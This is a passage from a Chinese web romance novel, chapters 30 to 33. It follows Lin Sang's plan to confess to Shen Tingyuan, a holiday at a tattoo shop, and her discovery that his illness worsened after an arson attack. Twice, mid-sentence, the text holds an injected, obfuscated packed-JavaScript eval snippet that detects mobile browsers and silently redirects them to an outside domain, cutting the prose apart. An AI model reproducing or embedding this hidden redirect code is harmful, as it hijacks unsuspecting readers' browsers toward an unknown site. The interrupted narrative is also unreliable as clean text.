寝室里只有她,林桑没翻耳机,直接点了外放。 在适珈蓝的消息里,林桑以另一种方式,短暂地参与了沈听原那段她曾经缺席的生活。 云亭一中的军训开学第二天便开始,那段时间只要是下课休息时间,总会有不少高二高三的学生在旁边围观。 次数多了,哪个方队有帅哥美女他们都了如指掌,没多久便有人开始行动,惹得之前蠢蠢欲动的人也按捺不住。 沈听原长相出众,又是举旗手,每次都会单独练一段时间,一到休息的时候就有不少学姐给他送水送东西,而同级的女生见状,也开始逮着休息的时间跑去和他要联系方式。 哪怕劝走了一波又来一波,他还是会耐心地和对方说:“实在不好意思,我有喜欢的女孩,只是我运气不太好,没能跟她上同一所学校。” “等高考后,我想跟她报同一所学校,她成绩很好,我怕追不上,想把精力都放在学习上。” “大家的时间都挺宝贵的,过去无意占用的,实在抱歉,以后的时间,还是用来做点有意义的事吧,不然白白被我占了,挺耽误你的。” 他每次都是一样的话术,起初有人觉得这只是他为了拒绝人编纂出来的,后来发现他是真一门心思全扑在了学习上。 但这也只是阻挡了一部分人,依旧会有人明里暗里表达心意。 年少时碰到喜欢的人,有人小心隐藏,有人热情大方,不管是哪一种,都难能可贵,无人能批判。 过去那套话术行不通了,沈听原也没再提,每天按部就班地上课刷题,偶尔打球泡网吧。 在林桑愣神之际,下一条语音又自动续上:“后面杨思怡学姐转过来的时候,也没人知道他们是姐弟,看他们经常待一块,还以为学姐就是他当时说的女生,又劝退了一部分。” “至于后来嘛,他明确表达过,加上跟你在一起的时候恨不能一天到晚成你身上的挂件,是个长眼睛的都能猜到他当时说的人是你,自然不会有人往前凑的啦。” 原来,在她未曾发现的瞬间里,早已裹满了少年赤忱的真心和诚挚的爱意。 说到最后,适珈蓝还语气不满地吐槽道:“现在真是什么样的人都能碰到,那些人估计从小到大就没学过什么叫做分寸感和道德感。” “别管那些神经病,你按照自己的想法跟节奏来就好了,还有我们陪着你支持你呢。” 语音结束了好一会儿林桑才缓缓回过神,屏幕上消息一条接一条往外跳。 上面几条都是鲁琳和方倚霏附和适珈蓝的消息,最新一条,是鲁琳问她有什么计划。 林桑看到这条消息才想起她只考虑了等回去跟沈听原表白,完全没想过地点时间和流程什么的。 林桑:【我对这种事没经验,还没计划过。】 适珈蓝提议道:【这样呗,等你回来了,我们一起商量,霏霏回不来,让她打视频参与。】 鲁琳:【OK!】 方倚霏:【我觉得行。】 林桑:【好。】 又聊了点有的没的,她们都有课,林桑也就从微信退了出来。 她想了一会儿到时候要怎样跟沈听原表白,但一直没想到合适的,索性打开手机在网上搜视频找灵感。 …… 下午结束所有课程后,沈听原的电话准时进来。 “还难受吗?” 林桑看视频看得入迷,甚至已经完全带入了一番,想象出的画面一帧帧全都还停留在脑海里,就好像真的经历过一般。 听到他的声音,林桑莫名有种心事马上会被他察觉的心虚感。 她愣了一下才轻声道:“不难受了。” 她紧张到攥紧手机,好在沈听原并没有察觉异样,“想吃什么,我一会儿买了托张清茹帮忙给你带回去。” 林桑顿了一瞬:“你过来接下我。” 沈听原似是笑了一声,很轻,透过电流钻进她耳朵里。 “三岁小孩要等我一起吃饭吗?” 林桑耳根微微发烫:“那你接不接。” “接。”沈听原说,“我到楼下了给你发消息你再下来,别吹风。” 林桑:“好。” …… 吃过饭后,沈听原开车送她回寝室休息,林桑看着车窗外,指着前面的路口说:“先不回寝室,去走走吧。” “从前面那个路口进去,有片银杏林。” 沈听原应了一声,打着方向盘将车缓缓开进她指的那个路口。 这片银杏林很大,一眼望不到头,树下设有不少凉亭和小石桌,周围还有一个巨大的人工湖,一到休息时间人就特别多。 尤其是杏叶黄的时候,这一片到处都是拍照的人。 临近九月末,杏叶隐隐有了变黄的痕迹,有人蹲在树下捡着叶子放进袋子里。 两人走在青石板路面上,林桑见状,想起了去年她也是其中一员。 那段时间,网上流行用银杏叶做玫瑰花,每次过来的时候都能碰上有人捡一袋子杏叶回去做花,她和舍友没忍住,也捡了一堆回去。 结果后来因为手残,总是弄好了就散,捡了一堆也只勉强做出来一朵,歪歪扭扭的,连照片都没拍就一股脑扔进了垃圾桶。 察觉到她的视线一直停留在那几个捡杏叶的女生身上,甚至连脚步都慢了几分,沈听原轻声问:“怎么了?” 林桑:“你有没有看过一个视频,用杏叶做玫瑰花。” 沈听原:“没有。” 林桑轻叹了一声说:“看着挺简单的,但我跟舍友试了几次都没做出来。” 沈听原垂眼,随意拉着进度将刚刚搜出来的视频看完,“挺简单的,就是现在叶子不够黄,做出来不好看。” 他收了手机,偏头看向林桑,眸色似点漆,“等杏叶黄了,我给你做一大束。” 林桑抬眼笑:“好。” “……” 沿着青石板路走了一会儿后,想到张清茹发的消息,林桑犹豫了一会儿才轻声道:“那个……” 话堪堪起了个头,她又不知道该怎么往下说了。 沈听原:“怎么了?” 林桑在唇上轻轻咬了一下,“今天送我到医务室那个男生,和我同级同专业。” “但是不同班,在同一个社团所以认识。” 沈听原应了一声,示意她继续往下说。 林桑:“他之前追过我,我拒绝了,那之后一直都是以同一个社团的同学这种关系相处。” “今天真是凑巧,张清茹她们带着我去医务室的路上碰上他了,她们想着他速度会更快一些所以才找他帮忙。” “你……”身侧那人一直没什么动静,林桑没忍住抬眼看了过去。 沈听原垂眼看着她:“你什么?” 林桑看着他漆黑明亮的眸子,顿了顿才小声道:“你……你别误会。” 沈听原浅笑着微微躬下身,视线和她持平:“金金,你是怕我吃醋吗?” “放心,我拎得清,也很感谢他能帮忙。” 两人距离很近,林桑脸越来越热,连忙别开眼道:“那就好。” 她说完,抬脚往前走,身后又响起了他的声音。 “金金。” 林桑回头:“嗯?” 沈听原伸出一只手,含笑道:“石板路怪滑的,能牵个手吗?” “只牵手腕也行。” 林桑看着那只白皙的手,默不作声地向前移了一步。 她五指张开,穿过他骨节分明的手指,十指瞬时交叉,像是镶嵌在一起一般。 两人相视笑着,同频弯下指节覆在对方手背上。 31.第 31 章 放票这天,两人都订了闹钟一起抢票,但试了几次都没抢到,一直在候补。 等到晚上还是如此,原本计划上完30号最后一节课就走的,1号的票也已经售罄全是候补,最后选了2号才回去。 李璐上完最后一节课后就直接回了家,唐钰琪是隔壁市的,也很近,收拾完东西就准备走,张清茹正好要去隔壁市探亲,两人顺道一路。 去年国庆假期的时候寝室里还有张清茹陪她,今年只剩下林桑一个人。 沈听原不放心林桑一个人待在寝室,下课后送她回寝室收了东西,随后带她去了之前去过的那个纹身店。 因为放假,汽车连成一条长龙,黑压压一片,一个多小时的车程愣是耗了将近三个小时。 到地方后,店里的人正在准备火锅,沈听原提前打过招呼,所以他们特意等着。 见他们进来,有人喊了一声:“快去放东西,放好准备开吃了。” 沈听原应了一声,拎着林桑的行李箱,准备带她上二楼。 倏地,一个红色长发戴了一顶黑色冷帽的女生过来拦住了林桑。 她看了眼沈听原笑道:“妹妹坐这么长时间车都累了吧,还让人跟着你跑上跑下的。” “一个行李箱,你自己带上去不就行了。” 沈听原:“……” 他眯了眯眼道:“她跟你待一块,我能放心?” 女生嗤了一声,挽上林桑的胳膊朝他做了个鬼脸:“我带妹妹去洗手,你哪凉快上哪去。” 沈听原无奈摇头笑了一下,用眼神安抚林桑不用担心,而后提着行李箱转身上了楼。 林桑被女生带去水池旁洗手,她洗手的间隙,女生道:“丁依。” “你可以像他一样管我叫丁姐。” 林桑点点头:“好。” 丁依勾唇笑了一下,“你们还没在一起呢?” 林桑从一侧抽了张纸巾出来擦手说:“还没。” 末了,她又补了一句:“我打算回去再表白。” 丁依闻言皱了下眉,表情像是吃了苍蝇一般,“什么玩意,表白这事还得你来?” 她说这话的时候,她们已经走到桌边,在桌前坐着的几个男生都齐刷刷看了过来。 “你说谁表白?”一个胖子问道。 丁依:“那纯情小子还没表白呢,还得人妹妹先开口。” 一群人顿了一下,都大笑起来。 丁依带着林桑坐下,胖子旁边的男生说:“妹妹,你是不知道,这小子睡觉都念叨你呢。” 他说着,在胖子椅子上踹了一脚,“胖子,表演一个。” 胖子十分配合,几乎是一秒入戏。 他靠在椅背上,双手环在胸前,歪着头,呢喃道:“金金,金金……” 旁边有人笑道:“最经典的那句呢。” 胖子睁开眼骂了一声:“催什么,马上!” 随后,胖子又摆回原来的姿势,接下来的话,令林桑面红耳赤。 沈听原下楼的时候,看到就是这样一番场面。 其他人有说有笑地往锅里下菜,只有林桑,恨不能将自己缩成一团,整张脸红得如同锅里煮熟的虾。 沈听原轻啧一声,几步走到林桑身后站定,手放在她身后的椅背上,散漫地低头睨了丁依一眼。 “丁姐,我不过上楼几分钟,你就这么帮我照顾人的?” 丁依喝了一口饮料,耸耸肩,摊开手道:“跟我没关系啊。” 他抬眼看向其他人,全都一副事不关己的模样。 林桑转过身,低声道:“我就是热的,你快坐,马上能吃了。” 沈听原垂眼看她,对上她红了一片的脸颊,心里某处被触动了一下,他神色顿了顿,低声道:“行。” 一群人就这么边聊边吃,吃了快一个多小时才接近尾声。 林桑和沈听原负责将桌椅都归位,将多余的椅子往杂物间放的时候,沈听原没注意撞了一下,一旁掉了个东西下来。 林桑弯下腰捡起来一看,是一盒电光花。 沈听原放好东西低头看了一眼,眼神变了一下。 “不知道他们什么时候买的,应该没过期,想不想放?” 林桑点点头:“想。” “……” 两人站在空地上,等风飘远了沈听原才从包里摸出打火机帮她把电光花点燃。 白色的火焰从火舌中窜出来,顷刻间弥漫开来,像一簇小型烟花。 沈听原抄兜站在一旁看着她笑。 林桑想了想,分了他一支,从包里拿出手机解锁。 “沈听原,你过来点。” 闻言,沈听原站到她身后,林桑调整了一下姿势,按下拍照键。 这一幕,和高三那年元旦完全重合。 不同的是,那次拍完合照之后是分别。 如今,是别后重逢。 电影和小说里,别后重逢,都是好结局。 林桑心想,他们也将如此。 她已经收了手机,沈听原却还赖在她身后,下巴抵在她头顶。 林桑也没催促他,就由着他这么站着。 过了一会儿,沈听原的声音从头顶落下来。 “晚上吃饭前,他们跟你说什么了?” 记忆一下子被拉回那个时候,林桑脸不禁微微热了起来。 “你想知道啊?” 沈听原轻轻嗯了一声说:“我这不是怕他们诽谤我,毁我形象。” 林桑轻笑:“真想知道?” “那你凑近点。” 沈听原动了动,俯下身,保持着一个最佳倾听的姿势在她身侧。 林桑有些紧张地捏了捏指尖,轻轻深呼吸几次,闭了闭眼,一鼓作气偏过头。 她速度很快,不到两秒就移开。 沈听原怔愣在原地,耳边只剩下一颗心迟缓加速的声音。 冷风卷起落叶从他身侧略过时,有一缕风趁机轻轻拂过他的脸颊,却未将唇角的灼热带走半分。 他半晌没有做出任何反应,林桑忽觉后悔。 虽说他们早已知晓对方的情意,但毕竟还没完完全全放在明面上说开来。 她头脑一热做出这种事,他恐怕都吓坏了。 可转念一想,好像也不能怪她。 吃饭前他们说沈听原在二楼休息室睡觉的时候,经常脸上带着笑喊她的名字,他们起初还觉得稀奇,后来也就习惯了,直到有天发现他说的话好像多了起来。 丁依说当时她凑上去一听,半晌都没听出来,叫了其他人来,最后还是胖子听出来的。 胖子表演的时候多少带了点浮夸,但本质上要表达的意思却没变。 他们说,沈听原时不时就在梦里轻声询问能不能亲她,要么就是耍赖皮说不让亲的话,换她亲他。 是他先有这个念头的,她不过是配合他罢了。 她想得认真,没注意到身侧那人已经有了动作。 下一秒,林桑只觉胳膊被人握住,一股力将她带进了一个温暖的怀抱之中。 熟悉的气息萦绕在鼻间,林桑直愣愣地站着,不敢抬头看。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14802671|157949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>头被人揉了几下,沈听原似笑非笑的声音传来:“跟我说想我的时候连第一人称都不敢用,现在胆子这么大啊?” 林桑不说话,往前靠了一点,额头抵在他胸膛,双手抬起,缓缓环住他劲瘦的腰。 沈听原身形僵了一瞬,“金金,你现在可真霸道。” 林桑闷声道:“你要是不让抱,我可松手了。” 话虽这么说,却半分没动弹。 沈听原低下眼看着她的头顶,唇角不自觉上扬了几分。 “让让让,你爱抱多久抱多久。” “抱一辈子都行。” “……” 林桑抱够之后从他怀里退了出来,但也没让他闲着。 一会儿要抓着他的手玩,一会儿要数他一分钟眨几次眼,数完还要让他也数自己的。 沈听原含笑道:“17次。” 林桑:“你都没数。” 沈听原:“你信不信,我早就数过了。” 林桑:“什么时候,我都不知道。” 沈听原还清晰地记得,他们成为同桌的那天,一想到和林桑坐在同一条凳子上,用着同一张课桌,他就莫名紧张,紧张到不敢动,怕动作幅度太大吓到她,甚至不敢用余光看她。 后来老师不在,班上热闹得不行,林桑低头认真做着题,他没忍住,视线隔一会儿就得往她身上跑。 喜欢一个人的时候,对方无论做什么都是可爱的,看千百遍都不觉腻。 她微微皱眉考虑怎么解题的时候很可爱,低头写字的时候也可爱,就连眨眼的频率也显得可爱。 他盯着手上的表,默声数着她眨眼的频率,数了几回,每一回都是17次。 林桑听着,靠在他肩上说:“可你那个时候都不跟我说话。” 沈听原侧过脸看她:“我怕说错话会让你讨厌我。” 他叹了一声:“还妄想着你会主动跟我说话来着,结果你都不理我。” 林桑愤愤道:“我不也怕嘛。” 两人相视一眼,忍不住笑了起来。 沈听原手掩在唇边低低咳了一声,几不可查地皱了下眉。 远处广场上似是有什么活动,舞台上的灯光远远投了一束过来,落在纹身店外面画满了涂鸦的墙壁上。 林桑起身跑了过去,在墙壁前站定,抬手去抓那束光。 她朝沈听原招招手,“沈听原,你快来啊,它太高了我抓不到。” 沈听原闷声咳了咳,笑道:“来了。” …… 临近十点时,沈听原送林桑回了房间,是他之前拿东西的那一间。 店里其他人都走了,二楼统共也就这一间房,林桑看了看:“那你睡哪?” 沈听原倚在门框上,姿态慵懒:“不用担心,我有地方睡。” “你洗漱完早点睡,有事就喊我。” 林桑视线越过他,落在他身后的矮沙发上:“你要睡沙发吗?” 沈听原低低地应了一声道:“晚上得留个人看店,我睡里面的话一楼有点什么动静都听不到。” “放心吧,那个沙发能打开,跟单人床差不多大,能睡下。” 他说着,屈指在她鼻尖轻轻刮了一下,“晚安。” 鼻头被他碰过的地方略微有些痒,林桑抬手碰了碰,“晚安。” 确保那扇门合上,林桑不会再出来后,沈听原整个人窝在沙发上,猛烈地咳嗽起来。 他整张脸埋在抱枕里,控制着音量,弯腰在抽屉里翻了半晌,也顾不上倒水,抖出一把药塞进嘴里就吞了下去。 32.第 32 章 凌晨两点多,林桑怎么也睡不着,她起身披上外套,轻声往外走。 这扇门许是有些年头,开合间会发出很大的的声音,她小心翼翼地开了一条缝,想看看沈听原有没有睡着。 沈听原没将沙发打开睡,而是坐在沙发上,一双腿大剌剌地敞开着,毛毯一半盖在腿上,一半落在地上。 林桑从门缝里挤了出去,轻手轻脚地走到他身边,捡起毛毯盖在他身上。 将毛毯严丝合缝地盖好后,一抬眼,她就对上了沈听原半阖着的眼。 “怎么出来了?” 林桑下意识吞了吞口水,退到一旁坐下:“睡不着,想看看你睡了没。” 沈听原动了动,将一大半毛毯全盖在她身上。 “我让我哥帮忙联系了一个医生,但是号有点难约,等从云亭回来,我带你去看看,好不好?” 林桑低头一下一下揪着毛毯:“好。” 静默了一会儿,林桑将毛毯都盖回他身上,“你睡吧,我先进去了。” 沈听原:“睡得着?” 林桑诚实地摇了摇头。 沈听原轻扯唇角道:“我也睡不着,聊会儿吧。” 林桑抬手,将毛毯重新拉回来盖上,往他身边挪了挪:“好。” 两人就这么坐在沙发上,有一搭没一搭地聊着。 聊了一会儿,林桑想起她洗漱完出来看到的朋友圈,低声问:“我看到学姐发了朋友圈,但那个男生没露脸。” “是游书涧吗?” 沈听原指尖搅玩着一缕她的头发,闻言顿了一下道:“不是。” 他最初也以为,以杨思怡的攻势和游书涧的纵容来看,他们在一起不过是迟早的事。 住院那段时间,杨思怡经常会打电话过来询问他的状态。 某天她打了个视频过来,一脸神秘地说要跟他介绍一下她的男朋友,沈听原当时还笑她,他早就知道的事,搞这么神秘做什么。 就在他想让游书涧别躲了快出来的时候,一张完全陌生的脸蓦然出现在屏幕里。 他很聪明地闭了嘴,打了声招呼就以要做检查为由挂了电话。 后来游书涧过来看他的时候,游书涧说他起初确实没觉得杨思怡对自己有什么不同,后来才慢慢开始察觉,就一直想等高考完。 可高考结束那天晚上发出去的消息迟迟无人回复,他隔天就买了票去杨思怡的学校,约她出来的时候,她身边已经有了人,他劝自己说不定只是朋友。 那晚,他们坐在快要打烊的烧烤店里,杨思怡笑得轻松,说以为他真的要等到八百年后才开窍。 游书涧以为还有机会,连忙追问。 杨思怡目光落在远处等待的男生身上,说太晚了,她累了,想早点回去休息。 他们,以后就像过去那样,当朋友吧。 他们的事,沈听原一直没过多干涉过。 可那天,一想到杨思怡付出过那么多,游书涧总像块木头一样,他替杨思怡感到不值。 愣是躺在病床上抬手给了游书涧一拳。 林桑:“……他没还手吧?” 沈听原笑得没皮没脸:“我就是占着是病号他不会还手才打的。” 林桑忽地有些感慨,那时的他们,总以为谁和谁最后会走向一个好的结局,最后却没有轰轰烈烈,皆以遗憾收场。 方倚霏和李宇栖是这样,杨思怡和游书涧是这样,林景和汪亿涵也处在一个矛盾期,面临同样的结局。 林桑指尖往身侧一点一点探了过去,触到那只温软的手后,覆在他手背上,不自觉握紧了几分。 她靠在他肩上:“我们不能分开,吵架也不分开。” 沈听原微仰着头看向天花板,眼神涣散,随后低下头,聚焦在她身上。 “好。” 她又道:“我们还要一起做很多事,慢慢享受共白头的过程呢。” 沈听原反手握住她,眸色幽深,轻声应:“好。” * 隔天沈听原带她在附近逛了逛,期间两人去了一家小黄人周边专卖店,林桑拿着两个盲盒在货架前纠结不下想询问沈听原的意见时,转身发现后面的货架空了大半,沈听原脚边的几个购物框则塞得满满当当。 林桑惊讶地看了看购物框又看向他,“沈听原,这可不是超市大减价,你拿那么多干嘛?” “怕什么,”沈听原上前接过她手里的两个盲盒随手扔进购物框里,“哥有钱着呢,不用给我省。” 他说完,继续拿着货架上的盲盒往购物框扔,还不忘朝她眨眨眼:“既然纠结,那就全都要。” 林桑拦住他,“买两个就够了。” “哪够啊。”沈听原说。 “……买这么多也没什么用啊。”林桑说。 “怎么没用,”沈听原动作不停,“用处大着呢。” 林桑疑惑地“啊”了一声。 沈听原扬唇揉了揉她的头说,“让小国王和小伙伴们相见,一直互相陪伴啊。” “不过吧,”他臭屁又傲娇地挑挑眉说,“能从一而终陪伴守护你的那个。” “一定是我。” “小国王要给你忠诚的侍卫什么奖励呢?” 林桑乐个不停,笑够了才说:“先欠着吧。” 沈听原点点头,“行,听小国王的。” “……” 因为侯云景也要一起回云亭,傍晚的时候他就开车过来了。 侯云景带了很多食材,一楼外面有个单独的院子,一群人搭了烧烤架,忙前忙后开始收拾。 林桑和丁依一起穿串,穿完起身一看,原本在一旁腌肉的沈听原不知去哪了。 她视线在周围扫了一圈,胖子见状,指着身后说:“我看他刚进去了,估计是弄完了先进去休息一下。” 林桑应了一声,洗完手后扯了张纸巾,边擦边往里走。 二楼是开放式的,周边只用了透明玻璃做了个半身高围栏。 所以,上面有点什么动静,她站在楼下都能清晰地听到。 一进门,楼上传来一阵剧烈的咳嗽声,侯云景的声音传来,林桑脚步随之停住。 “让你住院非不乐意,这个状态你能撑到回云亭?” “没事。” 是沈听原的声音。 林桑指尖颤了颤,他的声音再度响起:“哥,帮我翻下药。” 打开抽屉翻找的声音传来,而后是药片从瓶中抖落的声音。 林桑指尖一点点陷进掌心里,她几次想迈出脚步上楼,又几次被牵制。 牵制她的具体是什么,她没细想。 楼上渐渐没了声,她脚尖一转,又去了院子里帮忙。 沈听原和侯云景一起出来时,像个没事人一样,林桑没多问,只是寸步不离地跟着他。 他没怎么吃东西,好几次都胸腔不停颤动,硬生生将咳嗽憋了回去。 眼见他脸色越来越差,通红的脖颈上青筋暴起,林桑抬手在他背上轻轻拍着,平静道:“沈听原,我们改天再回云亭,你去住院,好不好。” 回应她的,是沈听原那再也抑制不住的咳嗽声。 …… 沈听原状况稳定睡着后,林桑才从病房出来。 侯云景坐在外面的座椅上,低着头不知道在想些什么。 林桑回头看了一眼,确认沈听原已经睡熟,轻声关上门走了过去。 察觉到身侧有人坐下,侯云景侧目看了一眼,见是她,他又恢复了原来的姿势。 沉默片刻,侯云景淡声道:“有些事他不知道该怎么跟你开口,这个恶人我来做。” “你得有个心理准备。” 林桑眼睫轻颤,指尖揪着衣摆,轻声应:“好。” 等沈听原醒过来,已经是半个小时以后。 沈听原傍晚吃的东西太少,侯云景特意去买了粥,他将粥放下后就出了病房。 林桑坐在病床旁,心不在焉地用勺子搅着碗里热气蒸腾的瘦肉粥。 “一会儿让我哥办出院,不会耽误后面的计划。” 林桑手顿住,没看他,“你先好好住院,不急这一时。” “等寒假再回也行,适珈蓝说他们学校的冬樱花开的时候可漂亮了,我一直想跟你一起去看来着,那个时候回去正好能赶上最后一场,而且时间宽裕,不用着急忙慌的。” 沈听原笑了一下,语气轻松随意:“小毛病,只是咳嗽声听着恐怖而已。” “犯不着住院。” 林桑用手背贴在碗壁试了一下温度,舀起一勺粥喂到他嘴边说:“我不信你,我听医生的。” 沈听原将粥咽了下去,哭笑不得道:“行,一会儿让医生当面和你说我能出院。” 喝了不到一半,沈听原又开始咳嗽起来,来势凶猛。 林桑手忙脚乱放下粥,边扯了纸巾替他擦嘴,边按下呼叫器。 病房门关上后,林桑无力地贴在墙壁上,沿着冰凉的壁面一点点往下滑。 兜里的手机振动几下,拿出一看,是奶奶邀请她视频通话。 自从学会用微信后,奶奶经常会跟她分享每天都做了什么,林桑也一有空就会给她弹个视频。 这两天准备回云亭,她怕自己说漏嘴,一直没打过。 林桑连忙起身往楼梯口走,赶在即将挂断前点了接听。 “小乖,下课了吧?” 看着奶奶带笑的脸,林桑鼻头一酸,压下哭腔应:“今天不上课,放假了。” “我刚收拾东西呢,还想着收拾完给你打个视频来着。” 奶奶笑:“我看你一直没动静,还以为今天上完课才放假呢。” “就你一个人在宿舍啊?” “没有。”林桑扯出一抹笑说,“你忘啦,我有个榆城的室友也不回家。” “不过她现在在洗澡,没法跟你打招呼。” 奶奶在那头连连点头,“那就好,那就好。” “……” 聊了十多分钟后,奶奶说要出门跳广场舞才挂断了电话。 电话挂断后,林桑松了一口气,她坐在地上,眼眶像是坏掉的水龙头一般,再也承受不住那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803812|157949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堆积已久的泪水。 侯云景说的那些话,变成了实景,一幕幕在她脑海里循环放映。 早在那次篮球运动会之前,季颂仰就三番五次挑衅过林景和沈听原,猜到他最近猖狂是因为攀上了什么人,他那些行为还没到触及底线的地步,两人也懒得理会。 篮球运动会那次,也是凑巧了,正好轮到和他们班竞争第一,又让季颂仰寻到了机会。 裁判不是老师,是从体育生和校篮球队里面选的,季颂仰和裁判是熟人,那人对于季颂仰和他的跟班屡次害得沈听原以及其他人受伤的事情,全程睁一只眼闭一只眼。 在这种正规的比赛下,季颂仰占着有关系为所欲为,甚至将他们之间的私人恩怨扩大到殃及其他人,沈听原心里憋了火,在中场休息时警告过他,谁知他不知收敛,甚至差点将林桑也卷进这件事中。 在巷口那天,本想直接将事情做个了断,突然冒出来个李勋,猝然打断了沈听原的计划。 沈听原知道季颂仰不可能善罢甘休,所以哪怕季颂仰确实收敛了没再故意挑衅,他也没放松警惕。 高考结束那天,沈听原赶去见林桑的路上,碰上了正好从一旁烧烤店出来的季颂仰一行人。 他们人多,况且那段时间沈听原身体才恢复没多久,起初一直没占到什么优势。 逮到机会后,沈听原下了死手,加上后来柳靳于补的那几脚,季颂仰住了整整半个多月的院,后来又去了外地上学,再没听到过他到处仗势横行的消息。 他便渐渐地不再在意。 出现变故,是在沈听原高考完没多久。 那天李勋约沈听原和侯云景一起吃饭打台球,沈听原备考那段时间熬了太多夜,考完之后每天都犯困,吃完饭到地方后也没去打台球,而是找李勋拿了钥匙,去了李勋经常睡觉的地下室补觉。 等出意外有人怕到临阵脱逃撞上出门取东西的李勋时,地下室已经火光漫天。 后来警察审讯的时候他们才知道,季颂仰从攀上李勋那天起就无数次请求他帮忙教训两个人,李勋起初都懒得理会,后来被磨得烦了,就答应了。 去了发现是沈听原,自然就有了巷道里那一幕,他知道季颂仰的为人,之后又警告过几次,还让其他人都不要过多的跟他来往。 季颂仰对于他临阵变卦这件事一直怀恨在心,在发现其他人也开始逐渐远离自己时,内心的不满和怨恨被彻底激发出来,他开始私下勾结和李勋有恩怨的人,偷偷将跟在李勋身后的人也全都用了手段收服。 季颂仰花了将近一年的时间,布下了一张大网,从经常跟在李勋身后的人口中得知李勋现在每天一点固定在地下室睡午觉,他才慢慢地准备收网。 地下室是一扇铁门,门下留了一条缝隙,通风口在门上,很小的一个窗口。 季颂仰让人将那个窗口严丝合缝地堵上,随后在门缝前放了一个火炉烧东西,黑色浓雾带着刺鼻的味道从门缝钻进地下室内。 季颂仰站在门口,让李勋向他求个绕就放他出来。 喊了几次,里面没有任何动静,季颂仰没耐心,骂了几句之后,一气之下一脚踹翻了火炉。 地下室旁堆了不少东西,纸板之类的偏多,全是易燃物。 火光顷刻间便爬满了整个地下室的门,季颂仰见状往后退了几步,脸上的笑愈发肆意,像是疯魔了一般朝里面喊着让李勋乖乖求饶,不然不会救他出来。 火势越来越重,意识到闹出事来了,有人吓到连滚带爬往外跑,撞上李勋时,结巴半天都说不出话,只一个劲指着地下室的方向。 侯云景说到这时,一直镇定自若的嗓音里夹杂了几分颤意,眼里布满血丝,眼眶通红。 因为,只要再晚那么一点。 再晚一点。 沈听原就救不出来了…… 林桑听适珈蓝在群里提及过这件事,不过当时知道的消息不多,只说云亭台球馆因为地下室着火差点闹出人命而暂停营业三个月。 她没想到,那个差点出事的人。 是沈听原。 好在那些恶人都受到了应有的惩罚。 可沈听原的身体,原本只是心脏室间隔缺损,做了手术养好后就能过上和以往一样的生活,在那天之后,因为一系列的并发症,他又过上了每天躺在病床上只能靠人伺候的生活。 他经常清醒一天,又昏睡一整天。 直到收到北城外国语大学录取通知书后,他精神才越来越好。 侯云景以为他是状况逐渐开始好转,后来发现,他偷偷加大了药量。 这些药见效是很快,但同时危害也大。 如果不是为了来见她,为了信守他们的诺言,他又怎么会拿身体开玩笑。 林桑几乎缩成一团,在黑暗的楼梯间里,泪如雨下。 他本就撑不了太久,如今因为药物影响,情况更是反反复复。 该怎么办呢。 怎么办呢。 林桑死死咬着唇,这种无能无力的感觉,令她像是坠入冰窖一般,浑身冰凉到开始止不住颤抖。 33.第 33 章 次日,沈听原状况逐渐稳定下来,大多数时候都在睡觉。 适珈蓝和鲁琳早已经回了家,在群里问起他们什么时候到云亭,林桑坐在病房外,看着屏幕黑屏,又打开,又再次黑屏。 如此几次之后,她才颤着手开始打字,将事情如实相告。 群里静默了一瞬,她们都在不停地安慰着她。 林桑看着消息,泪眼朦胧,那些字一个个如同被虚化了一般,她什么都看不到。 一整个国庆假期,林桑都在医院陪床,侯云景和她轮流照顾,偶尔纹身店里的人也会过来帮忙。 似是有感应一般,沈听原爷爷奶奶基本每天都要打两个以上视频电话,他们毕竟年纪大了,路途太远,经不住折腾,侯云景隐瞒了真实情况,每天只等沈听原醒来后脸色缓和些时才给他们回电话。 国庆收假后几天,沈听原不再像之前那样日日昏睡,精神好了不少,但脸色还是很差。 他清醒的时候,总喜欢拉着林桑的手,问她杏叶黄了吗。 林桑每天除了上课就是往医院跑,连社团活动都推了,哪有心思去关注这些。 每次都回答他,有时间了她出去看看。 沈听原也不催促,只是每天都会问一遍。 这天,林桑上完课去医院的路上,碰到了一个发传单的小姑娘。 接过来随意看了一眼,是定制婚戒的。 她把传单捏在手里,打算离开小姑娘的视线之后再扔。 小姑娘见她接了,跟在她身侧介绍起产品,让她加个联系方式。 林桑原本只是习惯了别人给她递传单就接,没想到小姑娘还能跟她一路,这么冷的天,也不容易,或许加个微信能让她完成指标有点提成之类的呢。 这么想着,她从包里摸出手机扫码,加上后也没再管,将手机放回包里后就往医院赶。 到病房门口的时候,门没关严,侯云景坐在病床前,削着手里的苹果问沈听原:“你每天问人姑娘杏叶黄了没是要做什么?” 沈听原靠在床头,随意转着手里的魔方,闻言垂眼笑了一下。 “我哪是问。” 侯云景:“那是什么?” 沈听原轻笑:“我表白呢。” 侯云景动作顿住,嗤笑道:“你倒不如直接点,不怕她听不出来?” 沈听原默了一瞬道:“她听个情话都觉得别扭,我要是太直接,估计得让她别扭到不想见我。” “表白嘛,我说出去了就行,她回不回应都没事。” 他将手里的魔方抛起,那魔方在半空中翻滚了几圈,又稳稳落在他手中,他垂下眼,笑了一下道:“再说了,我这能活一天是一天的人,哪能耽误她。” “……” 林桑轻声退到一旁,心力交瘁地靠在墙壁上,等他们的交谈停了许久,她才恍若无事地敲门进去。 见她来了,侯云景起身拿上衣服走了。 